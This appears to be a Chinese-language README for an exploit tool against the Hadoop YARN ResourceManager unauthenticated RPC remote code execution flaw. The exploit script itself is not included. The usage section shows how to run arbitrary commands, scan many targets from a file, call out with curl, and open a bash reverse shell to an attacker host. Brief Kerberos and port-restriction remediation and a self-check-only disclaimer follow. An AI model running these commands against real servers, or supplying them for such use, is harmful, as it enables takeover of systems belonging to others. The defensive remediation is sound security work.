Hadoop yarn ResourceManager 存在未授权访问漏洞。此漏洞存在于 Hadoop 的核心组件 Hadoop yarn 中。由于 Hadoop yarn 默认向公众开放 RPC 服务,远程攻击者可利用该未授权漏洞,通过 RPC 服务执行任意命令,从而控制目标服务器。鉴于该漏洞风险级别高、危害性大,且细节已被公开并被攻击方利用,建议所有使用 Apache Hadoop 的用户进行自查并及时采取安全措施。
Apache Hadoop Yarn *
python3 Hadoop_Yan_RPC_RCE.py

python3 Hadoop_Yan_RPC_RCE.py -v true -t http://www.target.com

python3 Hadoop_Yan_RPC_RCE.py -a true -t http://www.target.com -c "curl xxx.dnslog.cn"


python3 Hadoop_Yan_RPC_RCE.py -s true -f target.txt

python3 Hadoop_Yan_RPC_RCE.py -a true -t http://www.target.com -c "bash -i >& /dev/tcp/ip/port 0>&1"

https://nosec.org/home/detail/4905.html
https://github.com/N0b1ta/Bit-Cannon/tree/master/Apache/Hadoop/YARN/hadoop-yarn-rest-api-unauth
1.启用 Kerberos 认证,防止未授权访问。
<property>
<name>hadoop.security.authentication</name>
<value>kerberos</value>
<final>false</final>
<source>core-site.xml</source>
</property>...
<property>
<name>hadoop.rpc.protection</name>
<value>authentication</value>
<final>false</final>
<source>core-default.xml</source>
</property>
2.禁止外部地址访问 Hadoop RPC 服务相关端口,或将其配置为仅对受信任地址开放。
郑重声明:请勿使用本工具进行非法操作。本工具仅用于甲方人员和乙方人员进行安全自检。若用户非法使用,法律责任由用户自行承担!!!